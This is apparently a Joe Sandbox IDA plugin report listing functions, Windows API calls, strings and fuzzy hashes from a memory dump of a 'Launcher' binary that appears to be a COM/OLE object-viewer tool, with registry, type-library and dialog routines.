Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #2634#6195$#540#6330#800#861FromH_prolog3_MessageSendStringlstrcmp
String ID: ActivateAtStorage$Interactive User$RemoteServerName$RunAs
API String ID: 3025489585-4117267133
Opcode ID: 9e7388ca6330b1fabd1d678eb00dd058e937a57fe0ef3be30f8c387044eb4feb
Instruction ID: bd9d6e234287a3e1f714d9c5d7f13c6c00569a7924e88bd158e1cf998d98053b
Opcode Fuzzy Hash: 9e7388ca6330b1fabd1d678eb00dd058e937a57fe0ef3be30f8c387044eb4feb
Instruction Fuzzy Hash: DB4186319447199ADB11EF24CD86BEB77F9AF46701F0000E9BD09AB291DBB59E488B50

Function 00B6D91D Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B6D924
FormatMessageW.KERNEL32(00001100,00000000,?,00000409,?,00000000,00000000,00000010,00B6B9B7,?,00000000,00000000,00000000), ref: 00B6D942
#2810.MFC42U(?,%s %s,?,00000000,?), ref: 00B6D96C
#922.MFC42U(?,?,?,?,?,?,?), ref: 00B6D97F
#858.MFC42U(00000000,?,?,?,?,?,?,?), ref: 00B6D98C
#800.MFC42U(00000000,?,?,?,?,?,?,?), ref: 00B6D997
LocalFree.KERNEL32(?,00000000,?,?,?,?,?,?,?), ref: 00B6D99F
#1197.MFC42U(?,00000000,00000000,?,?,?,?), ref: 00B6D9AA
#540.MFC42U ref: 00B6D94F

Part of subcall function 00B6DCEB: wsprintfW.USER32 ref: 00B6DD1D

#540.MFC42U ref: 00B6D9B7
#2810.MFC42U(?,<No system message defined> %s,00000000,?), ref: 00B6D9D5
#922.MFC42U(?,?,?,?,?,?), ref: 00B6D9E8
#858.MFC42U(00000000,?,?,?,?,?,?), ref: 00B6D9F5
#800.MFC42U(00000000,?,?,?,?,?,?), ref: 00B6DA01
#1197.MFC42U(?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 00B6DA0B
#800.MFC42U(?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 00B6DA13

Strings

%s %s, xrefs: 00B6D966
<No system message defined> %s, xrefs: 00B6D9CF

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #800$#1197#2810#540#858#922$FormatFreeH_prolog3LocalMessagewsprintf
String ID: %s %s$<No system message defined> %s
API String ID: 3659733580-1395831093
Opcode ID: 49e235f0b7e683e05df4ee24290b94273c3bbb5ee1ba8131d8462d4cf86b2c99
Instruction ID: 769b498fb357c04bb315f8e57d3b1560d42994b3d9644eb9c6b598391bf04418
Opcode Fuzzy Hash: 49e235f0b7e683e05df4ee24290b94273c3bbb5ee1ba8131d8462d4cf86b2c99
Instruction Fuzzy Hash: B531E4B1E0010EAADF01EBE0CD92DFFBBBCEF24345F1044A5B51176192DA799A08DA61

Function 00B673B0 Relevance: 30.0, APIs: 13, Strings: 4, Instructions: 216registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(80000000,TypeLib,00000000), ref: 00B67402
RegEnumKeyW.ADVAPI32(00000000,00000000,?,00000040), ref: 00B6743B
RegOpenKeyW.ADVAPI32(00000000,?,?), ref: 00B6745D
RegEnumKeyW.ADVAPI32(?,00000000,?,00000040), ref: 00B67496
RegQueryValueW.ADVAPI32(?,?,?,00000208), ref: 00B674C9
CLSIDFromString.OLE32(00000000,-00000008), ref: 00B67570
wcstol.MSVCRT ref: 00B67610
wcsrchr.MSVCRT ref: 00B6762C
wcstol.MSVCRT ref: 00B67650
wsprintfW.USER32 ref: 00B67696
wsprintfW.USER32 ref: 00B676B9

Part of subcall function 00B67F0B: SendMessageW.USER32(?,00001132,00000000,00B64852), ref: 00B67F1D

RegCloseKey.ADVAPI32(?), ref: 00B67743
RegCloseKey.ADVAPI32(00000000), ref: 00B67754

Strings

TypeLib, xrefs: 00B673F8
%s <no name>, xrefs: 00B6768A
', xrefs: 00B676E2
%s (Ver %s), xrefs: 00B676AD

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: CloseEnumOpenwcstolwsprintf$FromMessageQuerySendStringValuewcsrchr
String ID: %s (Ver %s)$%s <no name>$'$TypeLib
API String ID: 3817488620-1332438793
Opcode ID: 0e266137afc3f381b26e65d4fa6bf587f24394c83164d0973e15b5df8ec30c67
Instruction ID: cbe2a2f9740a15d9a3f9dd2dfebf2cc9d9d006571751dcb9341af98f71ef764e
Opcode Fuzzy Hash: 0e266137afc3f381b26e65d4fa6bf587f24394c83164d0973e15b5df8ec30c67
Instruction Fuzzy Hash: 54A1D571D482289FDB61DB64CC89BA9B7F8FB08305F1040EAE50DA6250DB78AEC4DF41

Function 00B6D0B6 Relevance: 29.9, APIs: 11, Strings: 6, Instructions: 175registrystringCOMMON

Download Yara Rule

APIs

StringFromGUID2.OLE32(?,?,00000028,?,?,?,?,?,?,?), ref: 00B6D152
lstrcpyW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 00B6D163
wsprintfW.USER32 ref: 00B6D179
RegOpenKeyW.ADVAPI32(80000000,CLSID,?), ref: 00B6D1AA
wsprintfW.USER32 ref: 00B6D1CD

Part of subcall function 00B6D6F5: RegOpenKeyExW.KERNEL32(?,?,00000000,00020019,?,?,?,?,00B6D6E4,80000000,?,?,?,?,?), ref: 00B6D70D
Part of subcall function 00B6D6F5: RegQueryValueExW.ADVAPI32(?,?,00000000,?,80000000,00B6D6E4,?,?,?,00B6D6E4,80000000,?,?,?,?,?), ref: 00B6D72C
Part of subcall function 00B6D6F5: RegCloseKey.ADVAPI32(?,?,?,?,00B6D6E4,80000000,?,?,?,?,?,?,?,?), ref: 00B6D738

_wcsicmp.MSVCRT ref: 00B6D20E
wsprintfW.USER32 ref: 00B6D22D

Part of subcall function 00B6D81B: lstrlenW.KERNEL32(00B6D19D,?,80000000,00000000), ref: 00B6D846

RegEnumKeyW.ADVAPI32(?,00000000,?,000000FF), ref: 00B6D25C
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B6D270
wsprintfW.USER32 ref: 00B6D286
lstrcpyW.KERNEL32(00000000,?), ref: 00B6D2C0

Strings

LocalServer32, xrefs: 00B6D11C
AppID, xrefs: 00B6D18B, 00B6D23A
CLSID\%s\LocalServer32, xrefs: 00B6D1C7
AppID\%s, xrefs: 00B6D280
CLSID, xrefs: 00B6D1A4
CLSID\%s, xrefs: 00B6D173, 00B6D227

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: wsprintf$CloseOpenlstrcpy$EnumFromQueryStringValue_wcsicmplstrlen
String ID: AppID$AppID\%s$CLSID$CLSID\%s$CLSID\%s\LocalServer32$LocalServer32
API String ID: 566217164-1287389397
Opcode ID: be15c2ca0ee013c0bc7fc857b0a328725e00c6a925af4a60b317cd0cecb57db6
Instruction ID: 8cb3118b481bf6df37c428c7dc1f1ce7f4d7ea79ff4bd5b72adff5a8b1a258ef
Opcode Fuzzy Hash: be15c2ca0ee013c0bc7fc857b0a328725e00c6a925af4a60b317cd0cecb57db6
Instruction Fuzzy Hash: 5A513E72A00219AEEF21DB94DD45EEA77FDEF46301F4040E2B949E7041DBB49B498F91

Function 00B65270 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

#4078.MFC42U(00B54A54), ref: 00B6529C

Strings

", xrefs: 00B654FF

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #4078
String ID: "
API String ID: 2741252101-123907689
Opcode ID: 51df86a5c8db77d707c161882bd9df1965674251c1316448faba18ec6400a50e
Instruction ID: 3f14d4ae989462f4eab39db5c539856539a2f074d8d26b128eae356d97579771
Opcode Fuzzy Hash: 51df86a5c8db77d707c161882bd9df1965674251c1316448faba18ec6400a50e
Instruction Fuzzy Hash: 3CA13874904608DFDB24DFA4D899BADBBF1FF08706F1040A9E507A72A0DBB88994DF11

Function 00B5B734 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 146comCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B5B73B
#538.MFC42U(?), ref: 00B5B775

Part of subcall function 00B64899: #1662.MFC42U ref: 00B648D9
Part of subcall function 00B64899: #540.MFC42U ref: 00B648F3
Part of subcall function 00B64899: lstrcpyW.KERNEL32(?,00000000), ref: 00B64912
Part of subcall function 00B64899: CreateBindCtx.OLE32(00000000,?), ref: 00B64936
Part of subcall function 00B64899: MkParseDisplayName.OLE32(?,00000000,00000000,00000000), ref: 00B64971
Part of subcall function 00B64899: #2644.MFC42U ref: 00B649D1
Part of subcall function 00B64899: #2810.MFC42U(?,MkParseDisplayName(... "%s" ...) failed.,?), ref: 00B649E9
Part of subcall function 00B64899: #800.MFC42U(?,00000000), ref: 00B64A19

#800.MFC42U(?,?,?), ref: 00B5B799
#538.MFC42U(?,?,?,?), ref: 00B5B7A9
#800.MFC42U(?,?,?), ref: 00B5B7D1
CLSIDFromProgID.OLE32(?,?,?,?,?), ref: 00B5B7F1
CoCreateInstance.OLE32(?,00000000,?), ref: 00B5B824
#538.MFC42U(?), ref: 00B5B836
#540.MFC42U ref: 00B5B84A
#2810.MFC42U(?,CoCreateInstance failed using the CLSID for '%s',?), ref: 00B5B862

Part of subcall function 00B6D91D: __EH_prolog3.LIBCMT ref: 00B6D924
Part of subcall function 00B6D91D: FormatMessageW.KERNEL32(00001100,00000000,?,00000409,?,00000000,00000000,00000010,00B6B9B7,?,00000000,00000000,00000000), ref: 00B6D942
Part of subcall function 00B6D91D: #540.MFC42U ref: 00B6D94F
Part of subcall function 00B6D91D: #2810.MFC42U(?,%s %s,?,00000000,?), ref: 00B6D96C
Part of subcall function 00B6D91D: #922.MFC42U(?,?,?,?,?,?,?), ref: 00B6D97F
Part of subcall function 00B6D91D: #858.MFC42U(00000000,?,?,?,?,?,?,?), ref: 00B6D98C
Part of subcall function 00B6D91D: #800.MFC42U(00000000,?,?,?,?,?,?,?), ref: 00B6D997
Part of subcall function 00B6D91D: LocalFree.KERNEL32(?,00000000,?,?,?,?,?,?,?), ref: 00B6D99F
Part of subcall function 00B6D91D: #1197.MFC42U(?,00000000,00000000,?,?,?,?), ref: 00B6D9AA
Part of subcall function 00B6D91D: #800.MFC42U(?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 00B6DA13

#800.MFC42U(?,8007000E), ref: 00B5B8F8

Strings

The command line (%s) does not contain a valid persistent OLE object, ProgID, or Type Library file., xrefs: 00B5B8DD
CoCreateInstance failed using the CLSID for '%s', xrefs: 00B5B85C

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #800$#2810#538#540$Create$#1197#1662#2644#858#922BindDisplayFormatFreeFromH_prolog3H_prolog3_InstanceLocalMessageNameParseProglstrcpy
String ID: CoCreateInstance failed using the CLSID for '%s'$The command line (%s) does not contain a valid persistent OLE object, ProgID, or Type Library file.
API String ID: 2990471804-1967779486
Opcode ID: d9d080151eb649b9aebd230e02a5d168b69d32717148d743340fbd844be9e743
Instruction ID: a72752a3bfd0828fd53e8d6032da63db921cb983b0762cd105383d7234d34b2a
Opcode Fuzzy Hash: d9d080151eb649b9aebd230e02a5d168b69d32717148d743340fbd844be9e743
Instruction Fuzzy Hash: 4C511971E00218DBCF00EFA4D995EDDBBF8AF48311B1441E5E915B72A1DB35AE09CB60

Function 00B62570 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 128COMMON

Download Yara Rule

APIs

#355.MFC42U(00000001,*.*,00000000,00001804,AllFiles(*.*)|*.*|,?,F6B930CF), ref: 00B625C2
#2507.MFC42U(00000001,*.*,00000000,00001804,AllFiles(*.*)|*.*|,?,F6B930CF), ref: 00B625D1
#800.MFC42U(00000001,*.*,00000000,00001804,AllFiles(*.*)|*.*|,?,F6B930CF), ref: 00B625E5
#3494.MFC42U(?,00000001,*.*,00000000,00001804,AllFiles(*.*)|*.*|,?,F6B930CF), ref: 00B6260E
#800.MFC42U(?,00000000,?,00000001,*.*,00000000,00001804,AllFiles(*.*)|*.*|,?,F6B930CF), ref: 00B62679
#3494.MFC42U(?,?,00000000,?,00000001,*.*,00000000,00001804,AllFiles(*.*)|*.*|,?,F6B930CF), ref: 00B62696
#800.MFC42U(00000000,?,?,?,00000000,?,00000001,*.*,00000000,00001804,AllFiles(*.*)|*.*|,?,F6B930CF), ref: 00B626D2
#800.MFC42U(?,00000000,AllFiles(*.*)|*.*|,?,F6B930CF), ref: 00B62796

Strings

*.*, xrefs: 00B625B5
AllFiles(*.*)|*.*|, xrefs: 00B625A9
IMoniker::BindToObject failed on the file moniker created from ( "%s" )., xrefs: 00B62748

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #800$#3494$#2507#355
String ID: *.*$AllFiles(*.*)|*.*|$IMoniker::BindToObject failed on the file moniker created from ( "%s" ).
API String ID: 539546934-1039925223
Opcode ID: 24b109bc417dbd983326bbaaa2b5ba315ba101cb5346792cc194e262ba44d6f8
Instruction ID: 50974715a2c637fd53c941d82ad6cda2b425b399df537d807c4a3654f94d06ad
Opcode Fuzzy Hash: 24b109bc417dbd983326bbaaa2b5ba315ba101cb5346792cc194e262ba44d6f8
Instruction Fuzzy Hash: 9A512470D146A8AFDB26DB64CC85BECB7F8BB14301F0480E9A419A32A1DB755F88CF01

Function 00B61100 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B6110A
SetActiveWindow.USER32(?,00000228), ref: 00B6111B
#2859.MFC42U(00000000), ref: 00B61122
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00B6112E
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00B61152
#1165.MFC42U ref: 00B61158
#538.MFC42U(?), ref: 00B61187

Part of subcall function 00B64899: #1662.MFC42U ref: 00B648D9
Part of subcall function 00B64899: #540.MFC42U ref: 00B648F3
Part of subcall function 00B64899: lstrcpyW.KERNEL32(?,00000000), ref: 00B64912
Part of subcall function 00B64899: CreateBindCtx.OLE32(00000000,?), ref: 00B64936
Part of subcall function 00B64899: MkParseDisplayName.OLE32(?,00000000,00000000,00000000), ref: 00B64971
Part of subcall function 00B64899: #2644.MFC42U ref: 00B649D1
Part of subcall function 00B64899: #2810.MFC42U(?,MkParseDisplayName(... "%s" ...) failed.,?), ref: 00B649E9
Part of subcall function 00B64899: #800.MFC42U(?,00000000), ref: 00B64A19

#800.MFC42U(?,00000000,?), ref: 00B611B5
#538.MFC42U(?,?,00000000,?), ref: 00B611CB

Part of subcall function 00B642EB: #1662.MFC42U(F6B930CF), ref: 00B64326

#800.MFC42U(00000000,?,?,?,00000000,?), ref: 00B611F9
LoadTypeLib.OLEAUT32(?,00000000), ref: 00B6121B
#540.MFC42U ref: 00B61258
#2810.MFC42U(?,The file droped (%s) is not a valid persistent OLE object or Type Library file.,?), ref: 00B61277

Part of subcall function 00B6D91D: __EH_prolog3.LIBCMT ref: 00B6D924
Part of subcall function 00B6D91D: FormatMessageW.KERNEL32(00001100,00000000,?,00000409,?,00000000,00000000,00000010,00B6B9B7,?,00000000,00000000,00000000), ref: 00B6D942
Part of subcall function 00B6D91D: #540.MFC42U ref: 00B6D94F
Part of subcall function 00B6D91D: #2810.MFC42U(?,%s %s,?,00000000,?), ref: 00B6D96C
Part of subcall function 00B6D91D: #922.MFC42U(?,?,?,?,?,?,?), ref: 00B6D97F
Part of subcall function 00B6D91D: #858.MFC42U(00000000,?,?,?,?,?,?,?), ref: 00B6D98C
Part of subcall function 00B6D91D: #800.MFC42U(00000000,?,?,?,?,?,?,?), ref: 00B6D997
Part of subcall function 00B6D91D: LocalFree.KERNEL32(?,00000000,?,?,?,?,?,?,?), ref: 00B6D99F
Part of subcall function 00B6D91D: #1197.MFC42U(?,00000000,00000000,?,?,?,?), ref: 00B6D9AA
Part of subcall function 00B6D91D: #800.MFC42U(?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 00B6DA13

#800.MFC42U(?,00000000), ref: 00B61296
DragFinish.SHELL32(?), ref: 00B612AF

Strings

The file droped (%s) is not a valid persistent OLE object or Type Library file., xrefs: 00B61271

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #800$#2810#540Drag$#1662#538FileQuery$#1165#1197#2644#2859#858#922ActiveBindCreateDisplayFinishFormatFreeH_prolog3H_prolog3_LoadLocalMessageNameParseTypeWindowlstrcpy
String ID: The file droped (%s) is not a valid persistent OLE object or Type Library file.
API String ID: 1998644663-3375467908
Opcode ID: 8de8a6ec9ca40168657361cba186669e19089e94b3a007932c19fc334fbdd035
Instruction ID: e596592d17de43733f10ed728bc3bade1930925d145fdb43113629157e4d2a6f
Opcode Fuzzy Hash: 8de8a6ec9ca40168657361cba186669e19089e94b3a007932c19fc334fbdd035
Instruction Fuzzy Hash: CC413F7290112DABCF14EBA0DC99BDDB7B8AF18311F1042D5E519A7191DB34AF85CF50

Function 00B60F10 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B60F1A
#355.MFC42U(00000001,*.tlb,00000000,00001804,TypeLib Files (*.tlb;*.olb;*.dll;*.ocx;*.exe)|*.tlb;*.olb;*.dll;*.ocx;*.exe|AllFiles(*.*)|*.*|,?,00000354), ref: 00B60F3C
#2507.MFC42U(00000001,*.tlb,00000000,00001804,TypeLib Files (*.tlb;*.olb;*.dll;*.ocx;*.exe)|*.tlb;*.olb;*.dll;*.ocx;*.exe|AllFiles(*.*)|*.*|,?,00000354), ref: 00B60F4A
#3494.MFC42U(?,00000001,*.tlb,00000000,00001804,TypeLib Files (*.tlb;*.olb;*.dll;*.ocx;*.exe)|*.tlb;*.olb;*.dll;*.ocx;*.exe|AllFiles(*.*)|*.*|,?,00000354), ref: 00B60F6B
LoadTypeLib.OLEAUT32(?,?), ref: 00B60F89
#540.MFC42U(?,00000001,*.tlb,00000000,00001804,TypeLib Files (*.tlb;*.olb;*.dll;*.ocx;*.exe)|*.tlb;*.olb;*.dll;*.ocx;*.exe|AllFiles(*.*)|*.*|,?,00000354), ref: 00B60FA2
#3494.MFC42U(?,?,00000001,*.tlb,00000000,00001804,TypeLib Files (*.tlb;*.olb;*.dll;*.ocx;*.exe)|*.tlb;*.olb;*.dll;*.ocx;*.exe|AllFiles(*.*)|*.*|,?,00000354), ref: 00B60FB8
#2810.MFC42U(?,LoadTypeLib( %s ) failed.,00000000,?,?,00000001,*.tlb,00000000,00001804,TypeLib Files (*.tlb;*.olb;*.dll;*.ocx;*.exe)|*.tlb;*.olb;*.dll;*.ocx;*.exe|AllFiles(*.*)|*.*|,?,00000354), ref: 00B60FCF
#800.MFC42U ref: 00B60FE1
#800.MFC42U(?,8007000E), ref: 00B60FF9
#800.MFC42U(?,00000354), ref: 00B61034
#800.MFC42U(00000001,*.tlb,00000000,00001804,TypeLib Files (*.tlb;*.olb;*.dll;*.ocx;*.exe)|*.tlb;*.olb;*.dll;*.ocx;*.exe|AllFiles(*.*)|*.*|,?,00000354), ref: 00B6103F
#641.MFC42U(00000001,*.tlb,00000000,00001804,TypeLib Files (*.tlb;*.olb;*.dll;*.ocx;*.exe)|*.tlb;*.olb;*.dll;*.ocx;*.exe|AllFiles(*.*)|*.*|,?,00000354), ref: 00B6104A

Strings

*.tlb, xrefs: 00B60F35
TypeLib Files (*.tlb;*.olb;*.dll;*.ocx;*.exe)|*.tlb;*.olb;*.dll;*.ocx;*.exe|AllFiles(*.*)|*.*|, xrefs: 00B60F22
LoadTypeLib( %s ) failed., xrefs: 00B60FC9

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #800$#3494$#2507#2810#355#540#641H_prolog3_LoadType
String ID: *.tlb$LoadTypeLib( %s ) failed.$TypeLib Files (*.tlb;*.olb;*.dll;*.ocx;*.exe)|*.tlb;*.olb;*.dll;*.ocx;*.exe|AllFiles(*.*)|*.*|
API String ID: 2313197997-4003309560
Opcode ID: b229114464099f0f2c87423878fd249c8718a46f3f53f8b569b3ae9edbd2e4f1
Instruction ID: 2d0c72ed0c728d95114deb5a32c3d80811d463525f379e279e264ca0a27322ca
Opcode Fuzzy Hash: b229114464099f0f2c87423878fd249c8718a46f3f53f8b569b3ae9edbd2e4f1
Instruction Fuzzy Hash: DE317C319006A89BCF26EB50CC82AEDB7BCAF15706F0840E9B409671A1DB795F88CF11

Function 00B60810 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00B60826
#4219.MFC42U(Selecting default permissions will delete any changes you have ever made to the launch permission list of this application. Are yo,Launch Permissions,00000004), ref: 00B6083E
LoadCursorW.USER32(00000000,00007F02), ref: 00B60853
SetCursor.USER32(00000000), ref: 00B6085A
SendMessageW.USER32(?,00001009,00000000,00000000), ref: 00B6088A
#2634.MFC42U(00000000), ref: 00B60897
#2634.MFC42U(00000000,00000000), ref: 00B608A3
LoadCursorW.USER32(00000000,00007F00), ref: 00B608AE
SetCursor.USER32(00000000), ref: 00B608B5
#4118.MFC42U ref: 00B608C3
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 00B608DB
#5977.MFC42U ref: 00B608E4
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00B608F2

Strings

LaunchPermission, xrefs: 00B60860
Launch Permissions, xrefs: 00B60832
Selecting default permissions will delete any changes you have ever made to the launch permission list of this application. Are yo, xrefs: 00B60837

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: CursorMessageSend$#2634Load$#4118#4219#5977
String ID: Launch Permissions$LaunchPermission$Selecting default permissions will delete any changes you have ever made to the launch permission list of this application. Are yo
API String ID: 791338786-3477396783
Opcode ID: 2e73869a8da387865e0cdc4b5ce9a6949ea292fb7a3569020eaf5a2f235489b5
Instruction ID: 562f229020e4b20a7bdde2ae5aa38dbd1ee297cc206e21f7687dd619693d05c2
Opcode Fuzzy Hash: 2e73869a8da387865e0cdc4b5ce9a6949ea292fb7a3569020eaf5a2f235489b5
Instruction Fuzzy Hash: F9218431641210BAEB256F71DC4EFD73BA9DF47752F0100B0FE1DAA0A6CFA44885D6A0

Function 00B5D2E0 Relevance: 27.2, APIs: 18, Instructions: 221windowCOMMON

Download Yara Rule

APIs

#5031.MFC42U(?,?,?), ref: 00B5D301
#6193.MFC42U(00000000,00000004,?,?,?,00000014,?), ref: 00B5D34C
GetWindowRect.USER32(00000000,?), ref: 00B5D320

Part of subcall function 00B5C8A6: ScreenToClient.USER32(?,?), ref: 00B5C8B7
Part of subcall function 00B5C8A6: ScreenToClient.USER32(?,?), ref: 00B5C8C4
Part of subcall function 00B5C8A6: #3133.MFC42U(?,?,?,00B5C46E,?), ref: 00B5C8CC

GetWindowRect.USER32(00000000,?), ref: 00B5D36B
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B5D38B
#6193.MFC42U(00000000,00000005,00000019,?,?,00000000), ref: 00B5D3BC
GetWindowRect.USER32(00000000,?), ref: 00B5D3E6
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B5D406
#6193.MFC42U(00000000,00000005,00000019,?,?,00000000), ref: 00B5D430
GetWindowRect.USER32(00000000,?), ref: 00B5D44F
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B5D46F
#6193.MFC42U(00000000,00000005,00000019,?,?,00000000), ref: 00B5D499
GetWindowRect.USER32(00000000,?), ref: 00B5D4B8
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B5D4D8
#6193.MFC42U(00000000,00000005,00000019,?,?,00000000), ref: 00B5D502
GetWindowRect.USER32(00000000,?), ref: 00B5D521
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B5D541
#6193.MFC42U(00000000,00000005,00000019,?,?,00000000), ref: 00B5D568

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #6193RectWindow$MessageSend$ClientScreen$#3133#5031
String ID:
API String ID: 4086507556-0
Opcode ID: 456a4efca38090d584c6283b98604b67468c770061978aed07da23d990f03700
Instruction ID: 986a633ec8c41475f2137f3b9a7077cc0cec2d5393b2ad5aabdef931730c2f1d
Opcode Fuzzy Hash: 456a4efca38090d584c6283b98604b67468c770061978aed07da23d990f03700
Instruction Fuzzy Hash: 5B816270640209AFEB21DF74CC89FEF7BBAEB44702F504568F619A61E4DB70A948DB50

Function 00B5EBCC Relevance: 26.3, APIs: 13, Strings: 2, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

#540.MFC42U(F6B930CF,?,?,?,?,?,00B704CF,000000FF), ref: 00B5EBFF
